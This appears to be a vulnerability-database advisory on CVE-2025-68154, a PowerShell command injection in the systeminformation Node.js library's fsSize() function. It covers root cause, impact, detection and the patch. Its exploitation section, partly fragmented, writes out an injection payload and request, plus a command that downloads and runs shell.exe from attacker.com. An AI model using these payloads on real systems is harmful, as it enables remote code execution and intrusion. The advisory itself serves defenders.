
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-68154 is an OS command injection vulnerability in the fsSize() function of the systeminformation Node.js library, affecting all versions prior to 5.27.14. The optional drive parameter is directly concatenated into a PowerShell command without sanitization on Windows systems, enabling arbitrary command execution when user-controlled input reaches this function. Disclosed on December 16, 2025, it carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory). The vulnerability is Windows-specific and only exploitable in applications that pass user-controlled input to fsSize() (GitHub Advisory).
The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), located in lib/filesystem.js at line 197. The vulnerable code constructs a PowerShell command by directly concatenating the drive parameter: `Get-WmiObject Win32_logicaldisk | select ... ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`. Unlike other functions in the codebase (e.g., services(), networkStats(), dockerContainerStats()), fsSize() omits the util.sanitizeShellString() call that strips dangerous characters such as ;, &, |, $, `, and #. An attacker can inject a semicolon to terminate the original command and append arbitrary PowerShell commands, with a trailing # to comment out the remainder of the original command string (GitHub Advisory, Patch Commit).
Successful exploitation allows remote code execution with the privileges of the Node.js process on Windows systems, enabling an attacker to execute arbitrary system commands, read and exfiltrate sensitive files, download and execute malicious payloads, and potentially escalate privileges if the Node.js process runs with elevated rights. The vulnerability also enables lateral movement within the internal network and could facilitate ransomware deployment. Confidentiality, integrity, and availability are all rated High impact; however, actual risk is conditional on the application passing user-controlled input to fsSize() (GitHub Advisory).
A conceptual PoC is publicly available in the GitHub security advisory, demonstrating command construction with malicious payloads, but it does not constitute a fully weaponized exploit and no active in-the-wild exploitation has been observed (GitHub Advisory). The EPSS score is approximately 0.048% (0.00116 per Feedly), placing it in the 15th percentile for exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. Exploitation requires the specific precondition that an application passes user-controlled input to fsSize(), which raises the effective attack complexity (GitHub Advisory).
/api/disk?drive=).# to comment out the trailing portion of the original command. Example payload: C:; whoami # (URL-encoded: C:;%20whoami%20%23).GET /api/disk?drive=C:;%20whoami%20%23.drive value to si.fsSize(), which constructs the PowerShell command: Get-WmiObject Win32_logicaldisk | select ... | where -property Caption -eq C:; whoami # | fl. PowerShell executes both the original WMI query and the injected whoami command.whoami with more impactful payloads such as Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe; C:\temp\shell.exe to download and execute a remote payload, establish persistence, or exfiltrate data (GitHub Advisory).drive parameter (e.g., %3B, %23, %20 in drive values); PowerShell event logs (Event ID 4104 - Script Block Logging) recording unexpected commands such as whoami, Invoke-WebRequest, Get-Process, or Out-File.C:\temp\ or %TEMP% by the Node.js process; new executables or scripts created by the Node.js service account.powershell.exe executing commands beyond normal systeminformation queries); powershell.exe invocations with encoded or obfuscated command strings (GitHub Advisory).Upgrade the systeminformation npm package to version 5.27.14 or later, which applies util.sanitizeShellString(drive, true) to the drive parameter before concatenation into the PowerShell command (Patch Commit, GitHub Advisory). As a defense-in-depth measure, audit all application code that calls fsSize() and ensure no user-controlled input is passed to this function without prior validation. Additionally, restrict PowerShell execution permissions on Windows hosts running Node.js applications, enable PowerShell Script Block Logging for detection, and consider network segmentation to limit the blast radius of any potential RCE.
The vulnerability received coverage from multiple security news outlets including GBHackers, CyberSecurityNews, SecurityOnline, and IT Security News, with articles highlighting the risk to the library's estimated 16 million monthly npm users (SecurityOnline, GBHackers). The Hacker News included it in their weekly recap of notable vulnerabilities (The Hacker News). CISA referenced the vulnerability in their weekly vulnerability bulletin for the week of December 15, 2025. Some community coverage overstated the severity (one blog incorrectly labeled it CVSS 10.0), though the official score is 8.1 High.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."